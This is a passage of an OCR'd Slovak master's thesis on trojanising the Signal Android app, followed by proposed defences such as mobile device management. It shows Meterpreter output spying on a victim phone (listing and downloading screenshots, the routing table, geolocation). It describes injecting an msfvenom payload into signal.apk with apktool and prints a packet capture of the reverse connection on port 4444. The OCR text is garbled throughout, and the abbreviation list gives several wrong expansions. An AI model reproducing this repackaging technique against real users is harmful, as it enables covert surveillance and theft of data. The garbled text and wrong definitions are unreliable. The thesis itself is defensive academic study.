100666/rw-rw-rw- 24749 2020-04-08 1274 - Screenshot_2020-04-08-22-27-01.png
100666/rw-rw-rw- 34316 i 2020-04-08 13:28:41 - Screenshot_2020-04-08-22-28-40.png
100666/rw-rw-rw- 142538 2020-04-29 :08: - Screenshot_2020-04-29-12-88-07.png
100666/rw-rw-rw- 25579 2020-04-29 :08: - Screenshot_2020-04-29-12-08-19.png
100666/rw-rw-rw- 35708 2020-04-29 :08: - Screenshot_2020-04-29-12-88-37.png
100666/rw-rw-rw- 98338 i 2020-04-29 146: - Screenshot_2020-04-29-12-46-10.png
100666/rw-rw-rw- 142730 i 2020-04-29 146 - Screenshot_2020-04-29-12-46-29.png
100666/rw-rw-rw- 133130 fi 2020-04-29 03:46: - Screenshot_2020-04-29-12-46-42.png
100666/ rw-rw-rw- 34311 2020-04-29 147 - Screenshot_2020-04-29-12-47-38.png

meterpreter > 1s
Listing: /storage/emulated/legacy/DCIM/Screenshots

Mode i Last modified Name
100666/rw-rw-rw- 406512 i 2020-04-08 LT -0700 Screenshot_2020-04-08-22-17-57.png
100666/ rw-rw-rw- 410102 i 2020-04-08 zaleg -0700 Screenshot_2020-04-08-22-19-05.png
100666/rw-rw-rw- 57674 i 2020-04-08 123: -0700 Screenshot_2020-04-08-22-23-46.png
100666/rw-rw-rw- 158756 i 2020-04-08 126: -0700 Screenshot_2020-04-08-22-26-55.png
100666/rw-rw-rw- 24749 i 2020-04-08 87718 -0700 Screenshot_2020-04-08-22-27-01.png
100666/rw-rw-rw- 34316 i 2020-04-08 13:28: -0700 Screenshot_2020-04-08-22-28-40.png
100666/ /rw-rw-rw- 142538 i 2020-04-29 :08: -0700 Screenshot_2020-04-29-12-88-07.png
100666/ rw-rw-rw- 25579 i 2020-04-29 :08: -0700 Screenshot_2020-04-29-12-08-19.png
100666/rw-rw-rw- 35708 i 2020-04-29 :08: -0700 Screenshot_2020-04-29-12-08-37.png
100666/rw-rw-rw- 98338 i 2020-04-29 146 -0700 Screenshot_2020-04-29-12-46-10.png
100666 /rw-rw-rw- 142730 i 2020-04-29 146 -0700 Screenshot_2020-04-29-12-46-29.png
100666/rw-rw-rw- 133130 fil 2020-04-29 03:46: -0700 Screenshot_2020-04-29-12-46-42.png
100666/ rw-rw-rw- 34311 fil 2020-04-29 147 -0700 Screenshot_2020-04-29-12-47-38.png
100666/rw-rw-rw- 417057 fil 2020-05-02 2iEg -0700 Screenshot_2020-05-02-13-15-52.png

meterpreter > download Screenshot_2020-84-08-22-26-55.png

[*] Downloading: Screenshot_2020-04-08-22-26-55.png -> Screenshot_2020-04-08-22-26-55.png

[*] Downloaded 155.04 KiB of 155.04 KiB (100.0%): Screenshot_2020-04-08-22-26-55.png -> Screenshot_2020-04-08-22-26-55.png
[*] download : Screenshot_2020-04-08-22-26-55.png -> Screenshot_2020-04-08-22-26-55.png

meterpreter >

Obrazok 49 St'ahovanie suborov zo zariadenia obete

meterpreter > route

IPv4 netwo utes

Subnet

127.0.0.1 255.0.0.0
192.168.80.10 255.255.255.0

IPv6 netwo utes

Subnet Netmask Gateway Metric Interface

ggil
fe80::84b5:41ff:fe86:acab
fe80::86b5:41ff:fe86:acab

meterpreter > []

Obrazok 50 Vypis routovacej tabul’ky obete
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meterpreter > geolocate
[#] Current Location:

Latitude: 48.5905855
Longitude: 17.799601

Obrazok 51 Poloha zariadenia obete
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12 POPIS UTOKU

K utoku bol pouzity operaény systém Linux Ubuntu. Utok na aplikaciu Signal pozostaval
z nasledovnych krokov. V prvom kroku bol subor signal.apk dekompilovany pomocou
nastroja apktool, do ktorého bol injektovany kéd msfvenom, ktory bol upraveny pre tcely
nasej potreby. Po injektazi kodu boli oba kody skompilované pomocou nastroja apktool
a bol vytvoreny novy subor, ktory bol pomenovany signal.apk. Nasledne bola aplikécia
nainStalovana do zariadenia, v ktorom operacny systém Android pri inStalacii upozorioval

na skuto¢nost’, ze aplikacia Signal bola pozmenena (obrazok 52). Pomocou pridania tohto

kddu bolo mozné zist'ovat’ informacie zo zariadenia obete.

% .l 80% M 12:46

Signal

Instalovat tato aplikaciu? Bude mat
pristup k nasledujucim prostriedkom:

Ochrana osobnych tdajov

W

Y
o

Citat ID a stav telefonu

odpocuvat odchadzajlice hovory
priamo volat na telefénne Cisla.
© mozu sa vam Uctovat poplatky

citat textové spravy (SMS alebo MMS)
Odoslat SMS

© mozu sa vam Uctovat poplatky
prijat MMS.

prijat SMS

upravit SMS alebo MMS

Snimanie obrazkov a videi
Nahrat zvuk

zistit presnu polohu (pomocou GPS a
ciata)

ZRUSIT DALSI

Obrazok 52 Instalacia aplikacie Signal
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12.1 Siet’ova komunikacia pri utoku

Komunikacia medzi zariadenim tuto¢nika a zariadenim obete prebiehala cez pocitacovi
siet. Pomocou nastoja na monitorovanie komunikacie Wireshark bolo zistené, aka

komunikacia prebieha medzi zariadeniami pri Gtoku.

12.2 Popis komunikacie siete

Pri analyze sietového trafiku bolo zistené, ze komunikacia pouziva protokol tcp. Zaroven
komunikaciu zo zariadenia obete smeruje na IP adresu zariadenia utoc¢nika, pri ¢om
vyuziva port 4444. Vo vypise z monitorovania komunikacie je viditelné, Ze zariadenie
obete komunikuje so zariadenim uto¢nika. Pakety, ktorymi sa zariadenie uto¢nika dotazuje
na zariadenie obete, tieto dotazy akceptuje a potvrdzuje ich recipro¢ne (obrazok 53). Tieto
komunikac¢né parametre boli vopred nakonfigurované pri injektazi Skodlivého kodu do

povodného kodu aplikacie Signal.

No. Time Source Destination Protocol  Length  Info
3 2.534467 192.168.80.14 192.168.80.1e TCP 163 4444 - 33773 [PSH, ACK] Seq=1 Ack=1 Win=581 Len=97 TSval=1729314473 TSecr=1818482
4 2.534469 192.168.80.14 192.168.80.16 TCP 163 [TCP Retransmission] 4444 - 33773 [PSH, ACK] Seq=1 Ack=1 Win=581 Len=97 TSval=1729314473 TSecr=1818482
5 3.180943 192.168.80.14 192.168.88.1@ TCP 163 [TCP Retransmission] 4444 » 33773 [PSH, ACK] Seq=1 Ack=1 Win=581 Len=97 TSval=1729315128 TSecr=1818482
6 3.188546 1592.168.80.14 152.168.80.18 TCP 163 [TCP Retransmission] 4444 - 33773 [PSH, ACK] Seqg=1 Ack=1 Win=581 Len=97 TSval=1729315128 TSecr=1818482
7 4.237897 192.168.80.18 192.168.80.14 TCP 78 33773 » 4444 [ACK] Seq=1 Ack=98 Win=1327 Len=@ TSval=1813891 TSecr=1729315128 SLE=1 SRE=98
B 4.237697 192.168.80.10 152.168.88.14 TCP 289 33773 » 4444 [PSH, ACK] Seq=1 Ack=98 Win=1327 Len=143 TSval=1813891 TSecr=1729315128
9 4.237355 192.168.80.14 192.168.80.18 TCP 66 4444 » 33773 [ACK] Seq=98 Ack=144 Win=581 Len=8 TSval=1729316176 TSecr=1813891
16 4.237357 192.168.80.14 192.168.80.18 TCP 66 [TCP Dup ACK S#1] 4444 - 33773 [ACK] Seq=98 Ack=144 Win=581 Len=@ T5val=1729316176 TSecr=1813891
11 4.238694 192.168.80.14 192.168.80.18 TCP 172 4444 - 33773 [PSH, ACK] Seg=98 Ack=144 Win=501 Len=186 TSval=1729316177 TSecr=1813891
12 4.238696 192.168.80.14 152.168.80.1e TCP 172 [TCP Retransmission] 4444 - 33773 [PSH, ACK] Seq=98 Ack=144 Win=581 Len-=106 TSval=1729316177 TSecr=1813891
13 5.867972 192.168.80.14 192.168.80.1@ TCP 172 [TCP Retransmission] 4444 - 33773 [PSH, ACK] Seq=98 Ack=144 Win=581 Len=106 TSval=1729317607 TSecr=1813891
14 5.867975 192.168.80.14 192.168.80.1@ TCP 172 [TCP Retransmission] 4444 - 33773 [PSH, ACK] Seq=98 Ack=144 Win=581 Len=186 TSval=1729317887 TSecr=1813891
15 5.536488 192.168.80.18 192.168.88.14 TCP 278 33773 » 4444 [PSH, ACK] Seq=144 Ack=284 Win=1327 Len=212 TSval=1813891 TSecr=1729316177
16 5.536489 192.168.80.18 152.168.80.14 TCP 278 [TCP Retransmission] 33773 - 4444 [PSH, ACK] Seq=144 Ack=204 Win=1327 Len=212 TSval=1813915 TSecr=17293161..
17 5.536489 192.168.80.18 192.168.88.14 TCP 278 [TCP Retransmission] 33773 » 4444 [PSH, ACK] Seq=144 Ack=284 Win=1327 Len=212 TSval=1814821 TSecr=17293161..
18 5.536489 152.168.80.18 192.168.88.14 TCP 78 [TCP Dup ACK 15#1] 33773 + 4444 [ACK] Seq=356 Ack=284 Win=1327 Len=8 TSval=1814821 TSecr=1729317887 SLE=98..
19 5.536768 192.168.80.14 192.168.80.18 TCP 78 4444 > 33773 [ACK] Seq=204 Ack=356 Win=581 Len=8 TSval=1729317476 TSecr=1813915 SLE=144 SRE=356
2@ 5.536771 192.168.80.14 192.168.808.18 TCP 78 [TCP Dup ACK 19#1] 4444 -+ 33773 [ACK] Seq-284 Ack=356 Win=581 Len-8 TSval-1729317476 TSecr=1813915 SLE-144..
21 5.536877 192.168.80.14 192.168.80.10 TCP 78 [TCP Dup ACK 10#2] 4444 - 33773 [ACK] Seq=2084 Ack=356 Win=581 Len=8 TSval=1729317476 TSecr=1814621 SLE=144..
22 5.536878 192.168.80.14 192.168.80.18 TCP 78 [TCP Dup ACK 19#3] 4444 - 33773 [ACK] Seq=284 Ack=356 Win=581 Len=8 T5val-1729317476 TSecr=1814021 SLE=144..
23 5.537641 192.168.80.14 192.168.80.1@ TCP 170 4444 » 33773 [PSH, ACK] Seq=204 Ack=356 Win=501 Len=184 TSval=1729317477 TSecr=1814021
24 5.537643 192.168.80.14 192.168.80.1@ TCP 17e [TCP Retransmission] 4444 » 33773 [PSH, ACK] Seq=284 Ack=356 Win=581 Len=184 TSval=1729317477 TSecr=1814821
25 5.540028 192.168.80.18 192.168.80.14 TCP 66 33773 » 4444 [ACK] Seq=356 Ack=308 Win=1327 Len=@ TSval=1814021 TSecr=1729317477
26 5.566667 192.168.80.18 192.168.88.14 TCP 1514 33773 - 4444 [ACK] Seq=356 Ack=388 Win=1327 Len=1448 TSval=1814824 TSecr=1729317477
27 5.566937 192.168.808.14 192.168.88.1@ TCP 66 4444 =+ 33773 [ACK] Seq=308 Ack=18@4 Win=581 Len=8 TSval=1729317586 TSecr=1814024
28 5.566939 192.168.80.14 192.168.80.18 TCP 66 [TCP Dup ACK 27#1] 4444 » 33773 [ACK] Seq=308 Ack=1804 Win=581 Len=8 TSval=1729317506 TSecr=1814824
29 5.567268 192.168.80.18 192.168.80.14 TCP 1514 33773 =+ 4444 [ACK] Seq=1864 Ack=388 Win=1327 Len=1448 TSval-1814624 TSecr=1729317477
38 5.567278 192.168.80.18 192.168.80.14 TCP 1514 33773 » 4444 [ACK] Seq=3252 Ack=388 Win=1327 Len=1448 TSval=1814824 TSecr=1729317477
31 5.567633 192.168.80.14 192.168.80.10 TCP 66 4444 = 33773 [ACK] Seq=308 Ack=4708 Win=436 Len=@ TSval=1729317587 TSecr=1814624
32 5.567635 192.168.80.14 192.168.80.18 TCP 66 [TCP Dup ACK 31#1] 4444 = 33773 [ACK] Seq=388 Ack=47@@ Win=496 Len=@ TSval-1729317507 TSecr=1814824
33 5.568604 192.168.80.10 192.168.80.14 TCP 1514 33773 » 4444 [ACK] Seq=4700 Ack=308 Win=1327 Len=1448 TSval=1814024 TSecr=1729317477
34 5.568894 192.168.80.14 192.168.80.1e TCP 66 4444 - 33773 [ACK] Seq=308 Ack=6148 Win=581 Len=8 TSval=17293175@8 TSecr=1814024
35 5.568897 192.168.80.14 192.168.80.10 TCP 66 [TCP Dup ACK 34#1] 4444 - 33773 [ACK] Seq=308 Ack=6148 Win=501 Len=0 TSval=1729317508 TSecr=1814@24
36 5.578487 192.168.80.18 192.168.88.14 TCP 1831 33773 » 4444 [PSH, ACK] Seq=6148 Ack=388 Win=1327 Len=965 TSval=1814824 TSecr=1729317477
37 5.578761 152.168.80.14 152.168.80.18 TCP 66 4444 =+ 33773 [ACK] Seq=308 Ack=7113 Win=581 Len=8 TSval=1729317518 TSecr=1814824
38 5.578763 192.168.80.14 192.168.808.18 TCP 66 [TCP Dup ACK 37#1] 4444 - 33773 [ACK] Seq=388 Ack=7113 Win=581 Len=8 TSval=1729317518 TSecr=1814@24

Obrazok 53 Pakety prenasané medzi napadnutym zariadenim a pocitacom

uto¢nika zobrazené v programe Wireshark
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13 NAVRHOVANE RIESENIA

Boli navrhnuté rieSenia proti stahovaniu aplikécii, ktoré obsahujii malware alebo iné Casti
Skodlivého kodu. RieSenia boli navrhnuté tak, aby si takéto aplikacie uzivatelia nestahovali

do svojich zariadeni alebo aby bola minimalizovana hrozba zo strany réznych uto¢nikov.

13.1 MDM

Mobile device managment je sluzba, ktord zvysuje uroven zabezpecenie zariadenia. MDM
vo vSeobecnosti funguje tak, ze dokaze kontrolovat’ obsah mobilného zariadenia podla
administratorom zadefinovanych politik. Uroveii spravy zariadeni a mozné opravnenia
poskytované spravcovi MDM sa u r6znych vyrobcov liSia. Existuje moho komercnych, ale
aj vol'ne dostupnych rieSeni, ktoré sa svojimi moznostami spravy zariadeni vyrazne liSia.
Pre ucel tejto diplomovej prace bol ako systém MDM zvoleny program Mobile Iron od
rovnomenného vyrobcu. Mobile Iron je komerény produkt, ktorého hlavnymi vyhodami su
najmé silné opravnenia poskytované spravcovi systému (az do Urovne lokalizacie
a uplneho vymazania zariadenia) a moznost' prevadzkovat’ systém na lokadlnom serveri,
ktory je plne v sprave danej organizacie, ¢o znacne znizuje riziko uniku citlivych dat mimo
systém. Dalsou velkou vyhodou je podpora vlastného obchodu aplikécii, pristupného iba
autentifikovanym uZivatelom v systéme MDM. Do tohto obchodu je mozné vkladanie
vlastnych, organizaciou vytvorenych aplikacii bez potreby ich zverejnenia na otvorenom
internete. Tym je zaruCeny doveryhodny distribuény kanal pre aplikacie, ktorého
komunikacia je Sifrovand certifikdtom vydanym samotnym MDM serverom, ktory je

Vv sprave organizacie.

13.1.1 MDM server

Ako MDM server systému Mobile Iron je mozné pouzivat bud’ cloud servery poskytované
vyrobcom, alebo lokalnu inStalaciu na vlastnej infrastrukture organizacie. Lokalna
inStalacia je zpohladu bezpecnosti jednoznacne najlepSia. Samotnej prevadzke MDM
Mobile Iron staci stredne vykonny server podporujuci virtualizované prostredia a verejna
statickd TP adresa. DalSou poziadavkou bezpednosti je vhodna sietova infratruktira
schopna chréanit’ server pred vol'nym pristupom z internetu — napriklad next generation
firewall s podporou pokrocilého filtrovania a schopného vykonévat’ inSpekciu prendSanych

dat v zdujme zabezpecenia pred titokmi na samotny operacny systém host'ovského servera.
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V serverovej Casti je mozné nastavit’ rozne rozSirené bezpecnostné politiky napr. je mozné
nastavit, ze na zariadeni nebude mozné pouzit’ niektoré funkcie ako napriklad print screen
obrazovky a iné. Pri pokrocilejSich nastaveniach pre zariadenia Android je mozné nastavit’

zakaz Sifrovania dat, ohlasenie starSicho operacného systému a mnohé d’alSie konfiguracie.

Modify Samsung General Policy a
Cancel

Name: NBU KNOX Licencia
Status: @ Active ) Inactive
Priority: @ Bt

Description: Platnost: 14 juna 2020

7] KNOX Device Attestation Enabled )
[ Fail Attestation on Tmeout

CAUTION: Turning on Attestation will erase the KNOX container.
Turning on Attestation will affect devices that DO NOT support Attestation.
This fezture is OMNLY recommended for environments with devices that
support Attestation. The user will not be notified and cannot prevent erasure
of the KNOX container.

Obrazok 54 MDM — Samsung KNOX licencia

Modify Security Policy a
m Cancel

« | Android

[F] Require strict TLS for Apps@Work [i]
[F] Commaon Criteria Mode (Samsung KNOX and LG Only) o
[] Apply to Samsung managed device
Block Smart Lock {from Android 5.0 only)
Block Fingerprint (from Android 5.0 or Samsung MDM 5.3) 0
[¥] Block Iris Scan (Samsung and Android 9.0)
[¥] Block Face Unlock (Sarmsung and Android 9.0) 3

Require Google SafetyNet Attestation

Obrazok 55 MDM - modifikacia zabezpecnenia
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Modify Security Policy

Cancel

For Android devices

¥ when Android version is less than

v when a compromised Android device is detected
~ | when Data Encryption is disabled

v when Samsung KNOX device attestation fais

¥ when device adminstrator is deactivated

¥ when USB debug is enabled

7| Bypass Factory Reset Protection (affects for Android enterprise (Afw) work managed [i]
devices only)
Factory resetting a device with the bypass disabled results in a locked device - the registered owner must enter their credentials
to unlock it. Factory resetting a device with the bypass enabled results in an unlodked device, Important: Mo administrative code
exists to unlock a factory reset device if bypass is disabled.

Obréazok 56 MDM — automatizované spustenie bezpecnostnych operacii na

zaklade vopred definovanych podmienok

13.1.2 MDM zariadenie

Mobile Iron ma integrovani hibkovi podporu systému Samsung KNOX. V pripade
zakupenia licencii od spolo¢nosti Samsung, sa na zariadeniach podporujicich KNOX
vyrazne roz$iria moznosti ich spravy. V takomto pripade je mozné na zariadeniach
vytvarat’ vlastné virtualne prie€inky plne pod kontrolou spravcu MDM, ktoré su Sifrované
osobitne, vlastnymi kl'u¢mi. Takto spravovany virtualny prie¢inok (alebo zabezpeceny
priecinok ako ich oznacuje spolocnost Samsung) nie je mozné na zariadeni lokalne
upravovat’. UZivatel tak nemoze, ani netimyselne, modifikovat’ pamitovy priestor a stibory
aplikacii v lom ulozené. Aplikécia, ktora je nainStalovana v takomto MDM spravovanom
priecinku, je uplne oddelend od ostatnych tdajov na mobilnom zariadeni. Ak by sa na
zariadeni aj nachadzala aplikacia obsahujiica malware, tak utocnik nema pristup k datam,
ktoré st v zabezpecenom priecinku (virtudlnej a Sifrovanej inStancii opera¢ného systému).
V pripade vyssich narokov na bezpecnost’ alebo pohybe vo vysoko rizikovych situaciach je
mozné celé mobilné zariadenie spustat’ iba v reZime spravovanom MDM — uzivatel’ tak
nema Ziadnu ,,osobnu* Cast’ zariadenia a nedokaze vobec ovplyvnit’ aplikacie na zariadeni

okrem jeho kompletného vymazania do vyrobnych nastaveni.

13.2 Zabezpecenie proti injektazi

Nebezpecenstvo injektaze aplikacii pochddza najmd =z podhodenia modifikovanych

aplikacii z nedoveryhodnych zdrojov, alebo modifikacie idajov priamo na zariadeni, ku
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ktorému utocnik ziska fyzicky pristup. Mnoho wuzivatelov si zariadenia nechrani
Sifrovanim ani adekvatne silnym pristupovym heslom. Utoénik sa dokaze pri fyzickom
pristupe I'ahko dostat’ do zariadenia chraneného iba vzorom alebo slabym pinom. Dal$ou
beznou formou utokov su podvodné emaily alebo spravy odkazujice na faloSné stranky
obchodov a instittcii, kde si uzivatel moze stiahnut’ do teleféonu modifikované aplikacie.
Proti tymto hrozbam je najlep$im spdsobom obrany vhodne zvoleny a nakonfigurovany
syst¢tm MDM. Pri tomto spdsobe zabezpeCenia je mozné nielen vynutit vhodné spdsoby
autentifikacie uzivatel'a do zariadenia, ale aj ovplvnit mnohé bezpecnostné politiky ako
napriklad vynutit’ pouzivanie konkrétnej aplikacie na prezeranie internetu alebo mailového
klienta, taktiez vynutit’ pouzivanie VPN s konkrétnymi profilmi pre definované aplikacie
a mnoh¢ d’alSie. Ako najlepSia ochrana pred podhodenim modifikovanych aplikécii je ale
pouzivanie vlastného obchodu s aplikaciami, nad ktorym ma kontrolu samotné organizécia,
spolu s politikami MDM, ktoré sleduji integritu dolezitych casti operacného systému

mobilného zariadenia a definovanych klIi¢ovych aplikacii.

13.3 Preberanie aplikacii

Obchod s aplikdciami ako napriklad Google Play preveruje aplikacie pred zverejnenim, ¢i
neobsahuji Skodlivy softvér. Doporucuje sa, aby aplikacie boli stahované iba
z oficialnych online obchodov Google, respektive Apple, ktoré aplikacie pred zverejnenim
testuju a overuju. Nedoporucuje sa stahovat aplikdcie zroéznych webovych stranok
aprijatych mailov. Nebezpecné su aj odporuCania od nezndmych uzivatel'ov
prostrednictvom socialnych sieti. Takto Sirené aplikdcie mézu byt nakazené Skodlivym
softvérom. V pripade prostredia, kde sa pracuje scitlivymi Udajmi sa jednoznacne
odporuca nasadenie systému Mobile Device Management, ktoré je schopné kontrolovat’

a vynucovat’ organizaciou definované bezpecnostné politiky.
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14 PRINOS

Prinosom diplomovej prace bolo zistenie, do akej miery je aplikacia Signal zapezpecena
proti Skodlivému koédu, malweru a ré6znym inym hrozbam. Pomocou vymodelovaného
utoku boli zistené slabiny v bezpecnosti aplikacie Signal. Aplikacia je napadnutelna
pomocou volne dostupnych programov, ktoré obsahuju skodlivy kéd, ktoryje mozné

pomerne jednoducho upravit’ pre potreby napadnutia aplikacie.

Pomocou socialneho inzinierstva je relativne jednoduché ,,podstréit™ obeti takto upravenu
aplikéciu. Prostrednictvom socidlnych sieti, e-mailovej komunikacie méze utocnik takto
upravenu aplikdciu doporucit’ obeti. Z tohto dovodu boli navrhnuté odporucania pre
bezpe¢né stahovanie aplikacii - z pohladu zdroja, z ktoré¢ho su aplikacie stahované. Pri

opera¢nom systéme Android bol ako déveryhodny zdroj odporuc¢eny Google Play Store.

Ak uz kstiahnutiu aplikacie alebo pokusu o stiahnutie aplikacie z neddéveryhodnych
zdrojov doslo, hrozbu je mozné eliminovat’, respektive minimalizovat’ pouzitim néstroja

mobile device management.

K zisteniu vysSie spomenutého prinosu bolo nutné vytvorit’ informaény prehl'ad na tému
opera¢ny systém Android z pohl'adu bezpec¢nosti. Bolo potrebné zamerat’ sa aj na aplikaciu
Signal a jej popis. VSetky tieto informacie boli potrebné k spravnemu vedeniu Utokov na

aplikaciu a naslednému navrhu bezpecnostnych opatreni.
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ZAVER

Hlavnym cielom diplomovej prace bolo vykonat utok na aplikdciu Signal
a nasledne doporucit’ mozné rieSenia proti utoku na aplikacu Signal. Cielom prace bolo

vSeobecne popisat’ bezpecnost’ opera¢ného systému Android.

V teoretickej Casti  diplomovej prace bol vypracovany informaény prehlad na tému
operacny systém Android z pohladu bezpecnosti, bezpecnostnych hrozieb, aplikacii
a $ifrovania. Dalej bola popisand bezpetenost zariadenia s operaénym systémom Android,
overenie zdrojov abezpecnost' sluzby Google.  Taktiez bolo uvedené k comu sluzi
bezpec¢nostny certifikat, poskytovatelia a architektira kIi¢ového hospodarstva, typy
kI'ai¢ov akroky riadenia. Dalej bol v teoretickej Gasti popisany nastroj mobile device

management a popis aplikacie Signal.

V praktickej Casti diplomovej prace bol modelovany a popisany utok na aplikaciu Signal
pomocou nastrojov, ktorymi sa injektoval Skodlivy kéd do aplikacie a detailny popis
pouzitia tychto nastrojov v operacnom systéme Linux. Taktiez bola sledovana a popisana
Cast’ sietového trafiku po injektdzi Skodlivého kodu do aplikacie Signal. Po utoku na
aplikaciu boli navrhnuté opatrenia na znemoznenie utoku. Jedno z navrhnutych rieSeni
proti utoku bol nastroj mobile device management, ktory bol v praktikej Casti popisany.

Bola doporucena politika a konfiguracia pre zefektivnenie zabezpecenia aplikacie.
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ZOZNAM POUZITYCH SYMBOLOV A SKRATIEK
Ul Unix International

SDK  Software development kit

API Application programming interface
MDM Mobile device managment

GPS  Global Positioning Systém

AOSP Android Open Source Project

IPC Process communication

SMS  Short Message Service

MMS Multimedia Messaging Service
OEM  Original equipment manufacturer
SIM  Subscriber Identity Module

RIL Reliance Industries Limited

ID Identifikacné ¢islo

DRM Digital Rights Management

AES  Advanced Encryption Standard
EFF  Economic Freedom Fighters

SHA  Secure Hash Alogithm

IT Information technology

SD Secure Digital

URL  Uniform Resource Locator

VPN  Virtual Private Network

HTTPS Hypertext transfer protocol secure
TLS  Transport Layer Security

SSL. Secure Sockets Layer

EV Extended Validation Certificates
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EV IE 7 Extended Validation Certificates Internet Explorer 7
DNS  Domain name system

TCP  Transmission Control Protocol

IP Internet Protocol

Wi-Fi  Wireless Fidelity
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